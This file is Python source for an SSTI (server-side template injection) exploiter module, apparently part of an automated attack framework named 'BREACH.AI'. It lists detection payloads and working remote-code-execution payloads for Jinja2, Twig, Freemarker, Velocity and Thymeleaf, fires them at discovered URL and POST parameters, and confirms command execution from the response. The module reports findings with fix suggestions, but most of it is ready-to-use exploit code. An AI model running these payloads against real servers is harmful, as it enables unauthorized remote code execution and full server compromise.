"""
BREACH.AI - SSTI (Server-Side Template Injection) Exploiter
============================================================
Detects and exploits template injection vulnerabilities.
"""

import asyncio
import re
from typing import List, Dict, Tuple
from .base import BaseAttack, Finding, Severity


class SSTIExploiter(BaseAttack):
    """
    Server-Side Template Injection Exploiter

    Tests for:
    - Jinja2 (Python)
    - Twig (PHP)
    - Freemarker (Java)
    - Velocity (Java)
    - Thymeleaf (Java)
    - ERB (Ruby)
    - Pebble (Java)
    - Smarty (PHP)
    - Mako (Python)
    """

    name = "SSTI Exploiter"

    # Detection payloads with expected results
    DETECTION_PAYLOADS: List[Tuple[str, str, str]] = [
        # (payload, expected_result, template_engine)
        ("{{7*7}}", "49", "Jinja2/Twig"),
        ("${7*7}", "49", "Freemarker/Velocity"),
        ("#{7*7}", "49", "Thymeleaf/Ruby ERB"),
        ("<%= 7*7 %>", "49", "ERB"),
        ("{{= 7*7 }}", "49", "Pebble"),
        ("{7*7}", "49", "Smarty"),
        ("${{7*7}}", "49", "Spring Expression"),
        ("{{7*'7'}}", "7777777", "Jinja2"),
        ("${\"freemarker\".exec(\"id\")}", "uid=", "Freemarker RCE"),
    ]

    # RCE payloads per engine
    RCE_PAYLOADS: Dict[str, List[str]] = {
        "Jinja2": [
            "{{config.__class__.__init__.__globals__['os'].popen('id').read()}}",
            "{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()}}",
            "{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}",
        ],
        "Twig": [
            "{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}",
            "{{['id']|filter('system')}}",
        ],
        "Freemarker": [
            "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"id\")}",
            "${\"freemarker.template.utility.Execute\"?new()(\"id\")}",
        ],
        "Velocity": [
            "#set($x='')#set($rt=$x.class.forName('java.lang.Runtime'))#set($chr=$x.class.forName('java.lang.Character'))#set($str=$x.class.forName('java.lang.String'))#set($ex=$rt.getRuntime().exec('id'))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end",
        ],
        "Thymeleaf": [
            "${T(java.lang.Runtime).getRuntime().exec('id')}",
            "${#rt = @java.lang.Runtime@getRuntime(),#rt.exec('id')}",
        ],
    }

    async def run(self) -> List[Finding]:
        findings = []

        # Find injection points
        injection_points = self._find_injection_points()

        for url, param in injection_points:
            detection_results = await self._detect_ssti(url, param)
            findings.extend(detection_results)

        return findings

    def _find_injection_points(self) -> List[Tuple[str, str]]:
        """Find potential SSTI injection points."""
        points = []

        # Check URL parameters from discovered endpoints
        for endpoint in self.state.discovered_endpoints:
            if "?" in endpoint:
                base, params = endpoint.split("?", 1)
                for param in params.split("&"):
                    if "=" in param:
                        name = param.split("=")[0]
                        points.append((endpoint, name))

        # Common template parameters
        common_params = ["name", "template", "page", "view", "content", "message", "title", "q", "search"]
        for param in common_params:
            points.append((self.target, param))

        return points[:30]  # Limit

    async def _detect_ssti(self, url: str, param: str) -> List[Finding]:
        """Detect SSTI vulnerabilities."""
        findings = []

        for payload, expected, engine in self.DETECTION_PAYLOADS:
            try:
                # Test in query parameter
                test_url = self._inject_param(url, param, payload)
                response = await self.client.get(test_url)

                if expected in response.text:
                    severity = Severity.CRITICAL
                    finding = Finding(
                        title=f"Server-Side Template Injection ({engine})",
                        severity=severity,
                        category="SSTI",
                        endpoint=url,
                        method="GET",
                        description=f"Template injection detected in parameter '{param}'. "
                                   f"The application appears to use {engine} templating engine. "
                                   f"Payload '{payload}' was evaluated server-side.",
                        evidence=f"Payload: {payload}\nExpected: {expected}\nFound in response: True",
                        business_impact=200000,
                        impact_explanation="SSTI can lead to remote code execution, allowing attackers "
                                         "to completely compromise the server.",
                        fix_suggestion="Never pass user input directly to template engines. "
                                     "Use a logic-less template engine or sandbox the template. "
                                     "Validate and sanitize all user input.",
                        curl_command=f"curl '{test_url}'"
                    )
                    findings.append(finding)

                    # Try RCE payloads
                    await self._test_rce(url, param, engine, findings)
                    break  # Found vulnerability, move on

                # Also test POST
                response = await self.client.post(url, data={param: payload})
                if expected in response.text:
                    findings.append(Finding(
                        title=f"Server-Side Template Injection ({engine}) via POST",
                        severity=Severity.CRITICAL,
                        category="SSTI",
                        endpoint=url,
                        method="POST",
                        description=f"Template injection in POST parameter '{param}'.",
                        evidence=f"Payload: {payload}",
                        business_impact=200000,
                        impact_explanation="SSTI can lead to RCE.",
                        fix_suggestion="Sanitize template input.",
                        curl_command=f"curl -X POST -d '{param}={payload}' '{url}'"
                    ))
                    break

            except Exception:
                continue

        return findings

    async def _test_rce(self, url: str, param: str, engine: str, findings: List[Finding]) -> None:
        """Test for actual RCE using engine-specific payloads."""
        engine_base = engine.split("/")[0].strip()

        if engine_base in self.RCE_PAYLOADS:
            for rce_payload in self.RCE_PAYLOADS[engine_base]:
                try:
                    test_url = self._inject_param(url, param, rce_payload)
                    response = await self.client.get(test_url)

                    if "uid=" in response.text or "root" in response.text:
                        findings.append(Finding(
                            title=f"SSTI Remote Code Execution Confirmed ({engine_base})",
                            severity=Severity.CRITICAL,
                            category="SSTI",
                            endpoint=url,
                            method="GET",
                            description="Remote code execution via template injection confirmed. "
                                       "Arbitrary commands can be executed on the server.",
                            evidence=response.text[:500],
                            business_impact=500000,
                            impact_explanation="Full server compromise possible.",
                            fix_suggestion="Immediately patch the vulnerability.",
                            curl_command=f"curl '{test_url}'"
                        ))
                        return
                except Exception:
                    continue

    def _inject_param(self, url: str, param: str, value: str) -> str:
        """Inject value into URL parameter."""
        from urllib.parse import urlencode, quote
        if "?" in url:
            return f"{url}&{param}={quote(value)}"
        return f"{url}?{param}={quote(value)}"
